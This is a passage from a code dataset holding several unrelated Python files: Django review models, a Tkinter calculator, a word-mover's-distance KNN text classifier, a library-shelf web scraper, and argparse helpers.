related_name='reviews'\n )\n score = models.PositiveSmallIntegerField(\n verbose_name='Оценка',\n default=1,\n validators=[\n MinValueValidator(1, message='Минимальная оценка 1'),\n MaxValueValidator(10, message='Максимальная оценка 10')\n ],\n blank=False,\n null=False\n )\n title = models.ForeignKey(\n Title,\n verbose_name='Произведение',\n on_delete=models.CASCADE,\n related_name='reviews',\n )\n pub_date = models.DateTimeField(\n 'Дата публикации',\n auto_now_add=True,\n )\n\n class Meta:\n verbose_name = 'Отзыв'\n verbose_name_plural = 'Отзывы'\n ordering = ['-pub_date']\n\n def __str__(self):\n return f'Отзыв от {self.author} на {self.title}'\n\n\nclass Comment(models.Model):\n text = models.TextField(verbose_name='Комментарий')\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='comments',\n verbose_name='Автор'\n )\n\n review = models.ForeignKey(\n Review,\n on_delete=models.CASCADE,\n related_name='comments',\n verbose_name='Отзыв'\n )\n pub_date = models.DateTimeField(\n 'Дата публикации',\n auto_now_add=True,\n )\n\n class Meta:\n verbose_name = 'Комментарий'\n verbose_name_plural = 'Комментарии'\n\n def __str__(self):\n return f'Комментарий от {self.author} к {self.review}'\n","sub_path":"reviews/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"80512415","text":"import numpy as np\nimport pandas as pd\n\n\ndef run():\n dataset = np.genfromtxt(\"Data.csv\", delimiter=\",\")\n data = pd.read_csv(\"Data.csv\")\n x = data.iloc[:, -1].values\n y = np.array(data.iloc[:, 1].values)\n print(type(data))\n print(type(dataset))\n print(type(x))\n # res = [[1 for i in range(len(x))] for j in range(1)]\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"NormalEquation/normalEquation.py","file_name":"normalEquation.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"522209919","text":"\n# Tutorial Link: https://www.instapaper.com/read/1217002039\n\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--geo', nargs=2, type=int)\nparser.add_argument('--pos', nargs=2, type=int)\nparser.add_argument('filename', type=argparse.FileType('r')) #Readable File\n\nargs = parser.parse_args()\n\nprint(f'~ Geo {args.geo}')\nprint(f'~ Pos {args.pos}')\nprint(f'~ File Type {args.filename} \\n') #File Name is contained with the File Type\n\n# Print out file contents\nfor line in args.filename:\n print( line.strip() )\n\n# Command to run the script\n# python 19-07-25\\ Argparse\\ Enforcing\\ Types.py --geo 5 10 --pos 2 55 text.txt\n\n# Notes\n# - Bringing positoinal and flag based arguments together.\n# - You can specify type by setting the type pararmeter to int =\n# -The 'argparse.FileType('r')' is use when reading a file\n","sub_path":"Tutorials/Tutorial - Argparse/.ipynb_checkpoints/19-07-25 Argparse Default Types-checkpoint.py","file_name":"19-07-25 Argparse Default Types-checkpoint.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"504717471","text":"import pickle\nimport itertools\nimport collections\n\nwith open(\"canonized_clear.pickle\",'rb') as file:\n asd = pickle.load(file)\n#%%\nprint(\"LOADED\")\nsentences = list(asd[0]['context_0'])\nsentences.extend(asd[1]['context_0'])\nsentences.extend(asd[1]['context_1'])\nsentences.extend(asd[2]['context_0'])\nsentences.extend(asd[2]['context_1'])\nsentences.extend(asd[2]['context_2'])\n\nwordsDictionary = collections.Counter()\n\nwords = set(tuple(x) for x in sentences)\nwords = [ list(x) for x in b_set ]\n\nwords = list(set(list(itertools.chain(*words))))\n\nfor word in words:\n for sent in sentences:\n if word in sent:\n wordsDictionary[word] += 1\n\n\n#%%\nTFIDF = {}\nfor word in words:\n TFIDF[word]=np.log(float(len(sentences))/wordsDictionary[word])\n \nwith open(\"idf\",'wb') as file:\n pickle.dump(TFIDF, file) \n \n#print (wordsDictionary)","sub_path":"TF_IDF.py","file_name":"TF_IDF.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"625387563","text":"#gui_calc_v2.1.py\r\n\r\nfrom Tkinter import *\r\nfrom functools import partial\r\nimport math\r\n\r\nclass Calc:\r\n def __init__(self, top):\r\n self.top = top\r\n self.top_frame = Frame(self.top, width =500, height=500)\r\n self.top.title(\"Calculator\")\r\n self.top_frame.grid(row=0,column=0)\r\n self.Buttons()\r\n global store\r\n store = [0,0]\r\n global i\r\n i = 1\r\n global screen\r\n global num1\r\n global num2\r\n global operation\r\n global j # Will be used to determine if num1 has been set.\r\n j = 0\r\n \r\n def Buttons(self):\r\n global screen\r\n screen = Entry(self.top_frame)\r\n screen.grid(row=0, column=0, columnspan=5, rowspan=2, sticky=N+S+W+E)\r\n screen.insert(0,\"\")\r\n \r\n #1\r\n b = Button(self.top_frame, text = \"1\", command=partial(self.storeNum1, 1))\r\n b.grid(row=7, column=0, sticky=W+E)\r\n #2\r\n b = Button(self.top_frame, text = \"2\", command=partial(self.storeNum1, 2))\r\n b.grid(row=7, column=1, sticky=W+E)\r\n #3\r\n b = Button(self.top_frame, text = \"3\", command=partial(self.storeNum1, 3))\r\n b.grid(row=7, column=2, sticky=W+E)\r\n #4\r\n b = Button(self.top_frame, text = \"4\", command=partial(self.storeNum1, 4))\r\n b.grid(row=6, column=0, sticky=W+E)\r\n #5\r\n b = Button(self.top_frame, text = \"5\", command=partial(self.storeNum1, 5))\r\n b.grid(row=6, column=1, sticky=W+E)\r\n #6\r\n b = Button(self.top_frame, text = \"6\", command=partial(self.storeNum1, 6))\r\n b.grid(row=6, column=2, sticky=W+E)\r\n #7\r\n b = Button(self.top_frame, text = \"7\", command=partial(self.storeNum1, 7))\r\n b.grid(row=5, column=0, sticky=W+E)\r\n #8\r\n b = Button(self.top_frame, text = \"8\", command=partial(self.storeNum1, 8))\r\n b.grid(row=5, column=1, sticky=W+E)\r\n #9\r\n b = Button(self.top_frame, text = \"9\", command=partial(self.storeNum1, 9))\r\n b.grid(row=5, column=2, sticky=W+E)\r\n #0\r\n b = Button(self.top_frame, text = \"0\", command=partial(self.storeNum1, 0))\r\n b.grid(row=8, column=0, columnspan=2, sticky=W+E)\r\n\r\n # \".\"\r\n b = Button(self.top_frame, text = \".\", command=partial(self.decimal_point))\r\n b.grid(row=8, column=2, sticky=W+E)\r\n\r\n # \"+\"\r\n b = Button(self.top_frame, text = \"+\", command=partial(self.storeOperation_plus))\r\n b.grid(row=8, column=3, sticky=W+E)\r\n # \"-\"\r\n b = Button(self.top_frame, text = \"-\", command=partial(self.storeOperation_subtract))\r\n b.grid(row=7, column=3, sticky=W+E)\r\n # \"*\"\r\n b = Button(self.top_frame, text = \"*\", command=partial(self.storeOperation_multiply))\r\n b.grid(row=6, column=3, sticky=W+E)\r\n # \"/\"\r\n b = Button(self.top_frame, text = \"/\", command=partial(self.storeOperation_divide))\r\n b.grid(row=5, column=3, sticky=W+E)\r\n \r\n # row 1 btutons/memory buttons\r\n b = Button(self.top_frame, text = \"MC\")\r\n b.grid(row=3, column=0, sticky=W+E)\r\n b = Button(self.top_frame, text = \"MR\")\r\n b.grid(row=3, column=1, sticky=W+E)\r\n b = Button(self.top_frame, text = \"MS\")\r\n b.grid(row=3, column=2, sticky=W+E)\r\n b = Button(self.top_frame, text = \"M+\")\r\n b.grid(row=3, column=3, sticky=W+E)\r\n b = Button(self.top_frame, text = \"M-\")\r\n b.grid(row=3, column=4, sticky=W+E)\r\n\r\n # row 2 buttons, deletion buttons\r\n b = Button(self.top_frame, text = \"<-\", command=partial(self.backspace))\r\n b.grid(row=4, column=0, sticky=W+E)\r\n b = Button(self.top_frame, text = \"CE\", command=partial(screen.delete,0,END))\r\n b.grid(row=4, column=1, sticky=W+E)\r\n b = Button(self.top_frame, text = \"C\", command=partial(screen.delete,0,END))\r\n b.grid(row=4, column=2, sticky=W+E)\r\n\r\n #negation button\r\n b = Button(self.top_frame, text = \"+/-\", command=partial(self.negate_num))\r\n b.grid(row=4, column=3, sticky=W+E)\r\n #sqrt button\r\n b = Button(self.top_frame, text = \"sqrt\", command=partial(self.sqrt_num))\r\n b.grid(row=4, column=4, sticky=W+E)\r\n\r\n # \"%\" button\r\n b = Button(self.top_frame, text = \"%\")\r\n b.grid(row=5, column=4, sticky=W+E)\r\n # \"1/x\" button\r\n b = Button(self.top_frame, text = \"1/x\", command=partial(self.reciprical_num))\r\n b.grid(row=6, column=4, sticky=W+E)\r\n # \"=\" button\r\n b = Button(self.top_frame, text = \"=\", command=partial(self.getResult))\r\n b.grid(row=7, column=4, rowspan=2, sticky=W+E+N+S)\r\n \r\n # Button Operations\r\n def storeNum1(self,y):\r\n global screen\r\n global i\r\n l = [\"+\",\"-\",\"*\",\"/\"]\r\n if i == 3 or screen.get() in l:\r\n screen.delete(0,END)\r\n i = 1\r\n screen.insert(END,y)\r\n \r\n def storeOperation_plus(self):\r\n global screen\r\n global num1\r\n global operation\r\n global i\r\n global j\r\n i = 2\r\n j = 1\r\n num1= float(screen.get())\r\n screen.delete(0,END)\r\n screen.insert(0,\"+\")\r\n operation = \"plus\"\r\n\r\n def storeOperation_subtract(self):\r\n global screen\r\n global num1\r\n global operation\r\n global i\r\n global j\r\n j = 1\r\n i = 2\r\n if len(screen.get()) == 0:\r\n num1 = 0\r\n screen.insert(0,\"-\")\r\n operation = \"subtract\"\r\n else:\r\n num1= float(screen.get())\r\n screen.delete(0,END)\r\n screen.insert(0,\"-\")\r\n operation = \"subtract\"\r\n\r\n def storeOperation_multiply(self):\r\n global screen\r\n global num1\r\n global operation\r\n global i\r\n global j\r\n j = 1\r\n i = 2\r\n num1= float(screen.get())\r\n screen.delete(0,END)\r\n screen.insert(0,\"*\")\r\n operation = \"multiply\"\r\n\r\n def storeOperation_divide(self):\r\n global screen\r\n global num1\r\n global operation\r\n global i\r\n global j\r\n j = 1\r\n i = 2\r\n num1= float(screen.get())\r\n screen.delete(0,END)\r\n screen.insert(0,\"/\")\r\n operation = \"divide\"\r\n\r\n def getResult(self):\r\n global screen\r\n global num1\r\n global num2\r\n global i\r\n global j\r\n i = 3\r\n n = 0\r\n if j == 1:\r\n num2 = float(screen.get())\r\n else:\r\n num2 = 0\r\n screen.delete(0,END)\r\n if operation == \"plus\":\r\n n = num1 + num2\r\n screen.insert(END, n)\r\n elif operation == \"subtract\":\r\n n = num1 - num2\r\n screen.insert(END, n)\r\n elif operation == \"multiply\":\r\n n = num1 * num2\r\n screen.insert(END, n)\r\n elif operation == \"divide\":\r\n n = num1 / num2\r\n screen.insert(END, n)\r\n \r\n \r\n def negate_num(self):\r\n global i\r\n num = -float(screen.get())\r\n screen.delete(0,END)\r\n screen.insert(0,num)\r\n i = 3\r\n \r\n def reciprical_num(self):\r\n global i\r\n num = float(screen.get())\r\n recip = 1/num\r\n screen.delete(0,END)\r\n screen.insert(0,recip)\r\n i = 3\r\n\r\n def sqrt_num(self):\r\n global i\r\n num = float(screen.get())\r\n sqrt_num = math.sqrt(num)\r\n screen.delete(0,END)\r\n screen.insert(0,sqrt_num)\r\n i = 3\r\n\r\n def decimal_point(self):\r\n if len(screen.get()) == 0:\r\n screen.insert(0,\"0.\")\r\n elif \".\" in screen.get():\r\n screen.insert(0,\"\")\r\n else:\r\n screen.insert(END,\".\")\r\n \r\n #CE button\r\n def clear_everything(self):\r\n global num1, num2\r\n screen.delete(0,END)\r\n num1 = 0\r\n num2 = 0\r\n\r\n # backspace button\r\n def backspace(self):\r\n v = str(screen.get())\r\n screen.delete(0,END)\r\n for i in range(len(v) - 1):\r\n screen.insert(END,v[i])\r\n \r\n \r\n \r\nroot = Tk()\r\nbt = Calc(root)\r\nroot.resizable(FALSE,FALSE)\r\nroot.mainloop()\r\n \r\n","sub_path":"Other/gui_calc_v2.1.py","file_name":"gui_calc_v2.1.py","file_ext":"py","file_size_in_byte":8287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"318640244","text":"import math\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn import metrics\nfrom nltk.corpus import stopwords\nfrom nltk import download\nimport numpy as np\nimport pandas as pd\nfrom gensim.models.keyedvectors import KeyedVectors\nimport time\nimport json\nimport sys\n\n'''\nDump a dict to file\n'''\n\n\ndef dump_dict(dictt, file_name):\n js = json.dumps(dictt)\n\n file = open(file_name + '.json', 'w')\n file.write(js)\n file.close()\n\n\n'''\nCalculate the numbre of words\n'''\n\n\ndef count_vocab_num(data):\n word_dict = {}\n for index, row in data.iterrows():\n print(index)\n print(row['article_words'])\n for word in row['article_words']:\n if word not in word_dict.keys():\n word_dict[word] = 1\n else:\n word_dict[word] += 1\n return word_dict\n\n\n'''\nDelete stop words\n'''\n\n\ndef word_pre_process(word_list):\n processed_list = [word for word in word_list if word not in stopwords.words('english')]\n processed_list = ','.join(processed_list)\n return processed_list\n\n\n'''\nSplit the raw data\n'''\n\n\ndef data_pre_process(data):\n data = data.drop(['article_number'], axis=1)\n for index, row in data.iterrows():\n row['article_words'] = word_pre_process(row['article_words'].split(','))\n return data\n\n\n'''\nRead data from file\n'''\n\n\ndef read_data_and_process():\n # Read data\n train_data = pd.read_csv('training.csv')\n test_data = pd.read_csv('test.csv')\n download('stopwords')\n data_pre_process(train_data).to_csv('train_pre.csv', index=False)\n data_pre_process(test_data).to_csv('test_pre.csv', index=False)\n\n\n'''\nImport pre_training wordvec\n'''\n\n\ndef load_model():\n print('Start loading model!')\n gensim_model = KeyedVectors.load_word2vec_format('en.vec')\n # gensim_model.init_sims(replace=True)\n print('Model loaded!')\n return gensim_model\n\n\n'''\nCaldulate WMDistance\n'''\n\n\ndef distance(sentence, df, model):\n distances = []\n topics = []\n for index, row in df.iterrows():\n distances.append(model.wmdistance(row['article_words'], sentence))\n topics.append(row['topic'])\n print(distances[-1], ' --- ', topics[-1])\n return distances, topics\n\n\ndef test():\n dicc = {\n 'FOREX MARKETS': [],\n 'ARTS CULTURE ENTERTAINMENT': [],\n 'BIOGRAPHIES PERSONALITIES PEOPLE': [],\n 'DEFENCE': [],\n 'DOMESTIC MARKETS': [],\n 'HEALTH': [],\n 'MONEY MARKETS': [],\n 'SCIENCE AND TECHNOLOGY': [],\n 'SHARE LISTINGS': [],\n 'SPORTS': [],\n 'IRRELEVANT': []\n }\n\n dis = np.load('dis.npy')\n top = np.load('top.npy')\n\n for i in range(dis.shape[0]):\n dicc[top[i]].append(dis[i])\n\n for key, value in dicc.items():\n print(key, '---', np.mean(value))\n\n\n'''\nRead preprocessed data\n'''\n\n\ndef read_pre_data():\n train_data = pd.read_csv('train_pre.csv')\n for index, row in train_data.iterrows():\n row['article_words'] = row['article_words'].split(',')\n test_data = pd.read_csv('test_pre.csv')\n for index, row in test_data.iterrows():\n row['article_words'] = row['article_words'].split(',')\n return train_data, test_data\n\n\n'''\nRead WMDistance from file\n'''\n\n\ndef load_distances():\n dis_dict = {}\n dis_dict = {}\n with open('distance_test_data.json', 'r') as file:\n dis_dict.update(json.load(file))\n return dis_dict\n\n\n'''\nRead label from file\n'''\n\n\ndef load_label():\n train_data = pd.read_csv('train_pre.csv')\n train_label = train_data['topic'].tolist()\n\n test_data = pd.read_csv('test_pre.csv')\n test_label = test_data['topic'].tolist()\n\n return train_label, test_label\n\n\ndef load_topics_dict():\n return {\n 'FOREX MARKETS': 0,\n 'ARTS CULTURE ENTERTAINMENT': 0,\n 'BIOGRAPHIES PERSONALITIES PEOPLE': 0,\n 'DEFENCE': 0,\n 'DOMESTIC MARKETS': 0,\n 'HEALTH': 0,\n 'MONEY MARKETS': 0,\n 'SCIENCE AND TECHNOLOGY': 0,\n 'SHARE LISTINGS': 0,\n 'SPORTS': 0,\n 'IRRELEVANT': 0\n }\n\n\n'''\nKNN model with weights\n'''\n\n\ndef weighted_KNN(distances, labels, K, b=2, c=3):\n topics = load_topics_dict()\n\n sorted_index = np.argsort(distances)\n\n for i in range(K):\n topics[labels[sorted_index[i]]] += label_weight[labels[sorted_index[i]]] * math.e ** (\n -(distances[sorted_index[i]] - b) ** 2 / (2 * c ** 2))\n\n return topics\n\n\n'''\nKNN model without weights\n'''\n\n\ndef KNN(distances, labels, K):\n topics = load_topics_dict()\n\n sorted_index = np.argsort(distances)\n\n for i in range(K):\n topics[labels[sorted_index[i]]] += 1\n\n return topics\n\n\n'''\nCalculate accuracy with different K, B and C\n'''\n\n\ndef test_K_B_C(K, B_list, C_list):\n distances = load_distances()\n train_label, test_label = load_label()\n\n result_B_list, result_C_list, result_error_list = [], [], []\n\n for b in B_list:\n for c in C_list:\n error = 0\n for key, value in distances.items():\n predict_dict = weighted_KNN(value, train_label, K, b, c)\n predict = max(predict_dict, key=predict_dict.get)\n if (predict != test_label[int(key)]):\n error += 1\n result_B_list.append(b)\n result_C_list.append(c)\n result_error_list.append(error / 500)\n print('B = ', b, ', C = ', c, ' completed!')\n\n return result_B_list, result_C_list, result_error_list\n\n\n'''\nCalculate accuracy with different K\n'''\n\n\ndef test_K(max_K):\n distances = load_distances()\n\n train_label, test_label = load_label()\n\n KNN_error = []\n wKNN_error = []\n\n for K in range(2, max_K):\n error = 0\n for key, value in distances.items():\n\n predict_dict = KNN(value, train_label, K)\n predict = max(predict_dict, key=predict_dict.get)\n if (predict != test_label[int(key)]):\n error += 1\n KNN_error.append(error / 500)\n\n for K in range(2, max_K):\n error = 0\n for key, value in distances.items():\n\n predict_dict = weighted_KNN(value, train_label, K)\n predict = max(predict_dict, key=predict_dict.get)\n if (predict != test_label[int(key)]):\n error += 1\n wKNN_error.append(error / 500)\n\n return KNN_error, wKNN_error\n\n\ndef test_error(K):\n distances = load_distances()\n train_label, test_label = load_label()\n\n for key, value in distances.items():\n predict_dict = KNN(value, train_label, K)\n predict = max(predict_dict, key=predict_dict.get)\n if (predict != test_label[int(key)]):\n print(key, test_label[int(key)])\n print_dict(predict_dict)\n print('\\n--------------------\\n')\n\n\ndef print_dict(dictt):\n for key, value in dictt.items():\n print(key, '---', value)\n\n\n'''\nPlot accuracy with different K\n'''\n\n\ndef plot_test_K(max_K):\n KNN_error, wKNN_error = test_K(max_K)\n\n print(wKNN_error)\n\n l1 = plt.plot([i for i in range(len(KNN_error))], KNN_error, 'r--', label='KNN')\n l2 = plt.plot([i for i in range(len(wKNN_error))], wKNN_error, 'g--', label='weighted_KNN')\n\n plt.plot([i for i in range(len(KNN_error))], KNN_error, 'ro-', [i for i in range(len(wKNN_error))], wKNN_error,\n 'g+-')\n plt.title('KNN and wKNN with different K')\n plt.xlabel('K')\n plt.ylabel('Loss')\n plt.legend()\n plt.show()\n\n\n'''\nPlot accuracy with different K, B and C\n'''\n\n\ndef plot_test_K_B_C(K):\n B_list = np.arange(1, 5, 0.05).tolist()\n C_list = np.arange(0.1, 4, 0.05).tolist()\n\n result_B_list, result_C_list, result_error_list = test_K_B_C(K, B_list, C_list)\n\n fig = plt.figure()\n ax = Axes3D(fig)\n\n result_B_list = np.array(result_B_list)\n result_C_list = np.array(result_C_list)\n result_error_list = np.array(result_error_list)\n\n ax.set_title('Parameters in the Gaussian distribution - Loss with K = ' + str(K))\n ax.set_xlabel('The parameter b')\n ax.set_zlabel('Loss')\n ax.set_ylabel('The parameter c')\n\n ax.plot_trisurf(result_B_list, result_C_list, result_error_list, linewidth=0, antialiased=False, cmap='rainbow')\n\n plt.show()\n\n\n'''\nMake a predict with specific K, B and C\n'''\n\n\ndef make_pridict(K, B, C):\n labels = list(load_topics_dict().keys())\n distances = load_distances()\n train_label, test_label = load_label()\n predict_label = []\n for key, value in distances.items():\n predict_dict = weighted_KNN(value, train_label, K, B, C)\n predict = max(predict_dict, key=predict_dict.get)\n predict_label.append(predict)\n\n f1_score_list = metrics.f1_score(test_label, predict_label, labels=labels, average=None)\n\n recall_score_list = metrics.recall_score(test_label, predict_label, labels=labels, average=None)\n\n accuracy_score_list = metrics.precision_score(test_label, predict_label, labels=labels, average=None)\n\n # for i in range(len(labels)):\n # print(labels[i])\n # print('acc ', accuracy_score_list[i], 'recall ', recall_score_list[i], 'f1 ', f1_score_list[i])\n\n print(metrics.accuracy_score(test_label, predict_label))\n\n for i in range(500):\n if predict_label[i] != test_label[i]:\n print(i, ':', test_label[i], '---', predict_label[i])\n\n return 0\n\n\n'''\nPrint the ten most relevent case\n'''\n\n\ndef ten_top(K, B, C):\n distances = load_distances()\n train_label, test_label = load_label()\n topics = {label: [] for label in list(load_topics_dict().keys())}\n\n print(topics)\n\n for key, value in distances.items():\n predict_dict = weighted_KNN(value, train_label, K, B, C)\n predict_label = max(predict_dict, key=predict_dict.get)\n topics[predict_label][int(key)] = predict_dict[predict_label]\n print(topics)\n\n\nif __name__ == '__main__':\n # read_data_and_process()\n\n start_time = time.time()\n\n argv = sys.argv\n start = int(argv[1])\n end = int(argv[2])\n\n print('This termianal calculating form ', start, ' to ', end)\n train_data, test_data = read_pre_data()\n\n model = load_model()\n\n print('Runtime: ', time.time() - start_time)\n\n distances = {}\n\n for test_index, test_row in test_data.iloc[start:end].iterrows():\n temp_distance_dict = {}\n start_time = time.time()\n temp_distance = []\n print('Start calculating test text ', test_index, '.....')\n for train_index, train_row in train_data.iterrows():\n if (train_index % 300 == 0):\n print('Distance ', train_index, ' completed!')\n temp_distance.append(model.wmdistance(test_row['article_words'], train_row['article_words']))\n distances[test_index] = temp_distance\n temp_distance_dict[test_index] = temp_distance\n dump_dict(temp_distance_dict, str(test_index))\n print('Calculating test text ', test_index, 'complete! Runtime: ', time.time() - start_time)\n\n dump_dict(distances, str(start) + '--' + str(end))\n print(distances)\n\n # word_dict = count_vocab_num(train_data)\n\n # dump_dict(word_dict)\n # word_dict = sorted(word_dict.items(), key=lambda item:item[1])\n\n # print('Loaded model, time = ', time.time() - start_time)\n # dis, top = distance(temp, train_data, model)\n # np.save('dis.npy', np.array(dis))\n # np.save('top.npy', np.array(top))\n\n pass\n","sub_path":"Project/Word2vec+WMDistance+KNN.py","file_name":"Word2vec+WMDistance+KNN.py","file_ext":"py","file_size_in_byte":11350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"76659525","text":"class Point(object):\n def __init__(self, a=0, b=0):\n self.x = a\n self.y = b\n\nclass Solution(object):\n def maxPoints(self, points):\n if not points:\n return 0\n\n import collections\n d = collections.defaultdict(int)\n max_count = 0\n for i in range(len(points)):\n d.clear()\n same_point = 0\n for j in range(i + 1, len(points)):\n dx = points[i].x - points[j].x\n dy = points[i].y - points[j].y\n if dx == 0 and dy == 0:\n same_point += 1\n else:\n slope = 'inf' if dx == 0 else dy * 1.0 / dx\n d[slope] += 1\n other_point = max(d.values()) if d.values() else 0\n max_count = max(max_count, other_point + same_point + 1)\n return max_count\n","sub_path":"algorithms/MaxPointsOnALine/MaxPointsOnALine.py","file_name":"MaxPointsOnALine.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"64711874","text":"\"\"\"\nScript to download \"shelf\" lists from the SFPL Bibliocommons website\n\nTodo: fix encoding issues\n\nhttp://stackoverflow.com/questions/189555/how-to-use-python-to-login-to-a-webpage-and-retrieve-cookies-for-later-usage\nhttp://stackoverflow.com/questions/14630288/unicodeencodeerror-charmap-codec-cant-encode-character-maps-to-undefined\t\n\"\"\"\n\nimport datetime\nimport sys\nfrom bs4 import BeautifulSoup\nfrom requests import session\n\n\ntry:\n # should be a valid URL to the shelf \n base_url = sys.argv[1] + \"?page=\"\nexcept IndexError:\n base_url = \"https://sfpl.bibliocommons.com/collection/show/378235992/library/for_later?page=\"\n \noutput_filename = \"bibliocommons_shelf_\" + str(datetime.datetime.now().date()) + \".txt\"\nshelf_contents = \"\"\n\n\n# attempts to fix UnicodeEncodeError: character maps to \ndef fix_enc(s):\n return str(s).encode(sys.stdout.encoding, errors='backslashreplace').decode(sys.stdout.encoding)\n\n \n# start a new requests session\nwith session() as c:\n \n # index to store the current page on the website\n page_num = 1\n \n # keep checking through pages until we run out\n while True:\n \n # navigate to the next page in the shelf\n response = c.get(base_url + str(page_num))\n if \"200\" not in str(response):\n print(response)\n sys.exit(1)\n \n # move on to the next page\n page_num += 1\n \n # make a soup object with the response text\n soup = BeautifulSoup(response.text, 'html.parser')\n \n # find title/author/format information\n titles = soup.find_all(\"span\", class_=\"title\")\n formats = soup.find_all(\"span\", class_=\"format\") \n assert len(titles) == len(formats)\n \n # save the first title from the results\n current_title = str(titles)\n \n # stop checking pages if current title is same as \n # the last, meaning we're at the end of the list\n try:\n if current_title == last_title:\n break\n except NameError:\n pass\n \n # iterate over titles size\n for n in range(len(titles)):\n try:\n\n # print title and store in a string for writing\n shelf_contents += titles[n].get_text().strip() + \"\\n\"\n print(titles[n].get_text().strip())\n \n # idx for author search\n i = 0\n \n # check to see if there's an author for this title\n for e in titles[n].next_elements:\n if \"class=\\\"author\" in str(e):\n author = e.get_text().strip()\n shelf_contents += author + \"\\n\"\n print(author)\n break\n \n # increment counter and break if search failed\n i += 1\n if i >= 7:\n break\n \n # append and print format\n shelf_contents += formats[n].get_text()\\\n .replace(\"\\n\", \"\").strip() + \"\\n\"\n print(formats[n].get_text().replace(\"\\n\", \"\").strip())\n \n except (IndexError, UnicodeEncodeError) as e:\n pass\n \n # add extra carriage return\n shelf_contents += \"\\n\"\n print()\n \n # make the current title the last title\n last_title = current_title\n\n# write to file \nwith open(output_filename, 'w') as f:\n f.write(fix_enc(shelf_contents))\n","sub_path":"shelfscraper.py","file_name":"shelfscraper.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"46299952","text":"from argparse import *\nfrom typing import *\nfrom collections.abc import Mapping\n\n\ndef parse_args(*arg_classes, strict=True):\n if strict:\n _check_args(arg_classes)\n for ArgClass in arg_classes:\n parser = CustomParser(ArgClass)\n yield parser.parse_defined_args()\n\n\ndef get_all_bases(Class):\n bases = []\n for base in Class.__bases__:\n bases += [base]\n if base == ArgumentClass:\n continue\n bases += get_all_bases(base)\n return bases\n\n\ndef _check_args(argsets):\n # include all parent classes\n all_argsets = []\n argsets = list(argsets)\n for arg_class in argsets:\n all_argsets += [arg_class]\n all_argsets += get_all_bases(arg_class)\n\n # attempt to parse all provided arguments\n all_args = {}\n argnames = set()\n args = set()\n for ArgClass in all_argsets:\n for name, arg in ArgClass.ARGS.items():\n while name in argnames:\n name += ' '\n if arg in args:\n continue\n all_args[name] = arg\n argnames = argnames.union({name})\n args = args.union({arg})\n\n class AllArgs(ArgumentClass):\n ARGS = all_args\n\n CustomParser(AllArgs, allow_overlap=True).parse_args()\n\n\nclass Argument:\n\n def __init__(self, *flags: Text, **kwargs):\n self.flags = flags\n self.kwargs = kwargs\n\n def __repr__(self):\n return \"Argument(%s, %s)\" % (', '.join(self.flags),\n ', '.join(['%s=%s' % (k, str(v)) for k, v in self.kwargs.items()]))\n\n\nclass CustomParser(ArgumentParser):\n\n def __init__(self, ArgClass, *args, allow_overlap=False, **kwargs):\n super(CustomParser, self).__init__(*args, **kwargs)\n self.ARGUMENT_CLASS = ArgClass\n self._add_class_args()\n\n def _add_class_args(self):\n for ArgClass in set([self.ARGUMENT_CLASS] + get_all_bases(self.ARGUMENT_CLASS)):\n for name, arg in ArgClass.ARGS.items():\n self.add_argument(*arg.flags, dest=name, **arg.kwargs)\n\n def parse_defined_args(self) -> Namespace:\n namespace, unknown = super(CustomParser, self).parse_known_args()\n return self.ARGUMENT_CLASS(namespace)\n\n\nclass ArgumentClass(Namespace, Mapping):\n\n ARGS = {}\n\n def __init__(self, namespace):\n super(ArgumentClass, self).__init__()\n for k, v in namespace.__dict__.items():\n setattr(self, k, v)\n\n def __len__(self):\n return len(self.__dict__)\n\n def __iter__(self):\n return iter(self.__dict__)\n\n def __getitem__(self, item):\n return self.__dict__[item]\n\n\n# Define argument classes below\n# Shared Arguments:\n\n\nclass NumClass(ArgumentClass):\n ARGS = {\n 'num_classes':\n Argument('--num-classes', type=int, default=100, help='number of classes to train/test on')\n }\n\n\nclass Seed(ArgumentClass):\n ARGS = {\n 'seed':\n Argument('--seed', type=int, default=1, help='seed for random number generators')\n }\n\n\nclass Architecture(ArgumentClass):\n ARGS = {\n 'arch':\n Argument('--arch', type=str, default='resnet34', choices=['resnet18', 'resnet34'],\n help='model architecture to use')\n }\n\n\nclass DataArgs(NumClass, Seed):\n ARGS = {\n 'data_dir':\n Argument('--data-dir', type=str, default='../data', help='path to data directory'),\n 'dataset':\n Argument('--dataset', type=str, default='CIFAR100', choices=['CIFAR10', 'CIFAR100'],\n help='the dataset to train on'),\n 'batch_size_train':\n Argument('--batch-size-train', type=int, default=100, help='batch size for training'),\n 'batch_size_test':\n Argument('--batch-size-test', type=int, default=100, help='batch size for testing'),\n 'num_workers':\n Argument('--num-workers', type=int, default=4, help='number of dataloader workers'),\n 'pin_memory':\n Argument('--pin-memory', action='store_true', help='pin memory for data loading'),\n 'val_ratio':\n Argument('--val-ratio', type=int, default=0.05, help='ratio of validation data to training data'),\n 'train_idxs_path':\n Argument('--train-idxs-path', type=str, default=None,\n help='path to train idxs of a previous train-val split to use'),\n 'val_idxs_path':\n Argument('--val-idxs-path', type=str, default=None,\n help='path to val idxs of a previous train-val split to use'),\n }\n\n\nclass FeatureDataArgs(DataArgs):\n ARGS = {\n 'layer':\n Argument('--layer', type=str, default=None, help='layer at which to extract features for dataset'),\n 'load_features_train':\n Argument('--load-features-train', type=str, default=None, help='path to trainset feature data to load'),\n 'save_features_train':\n 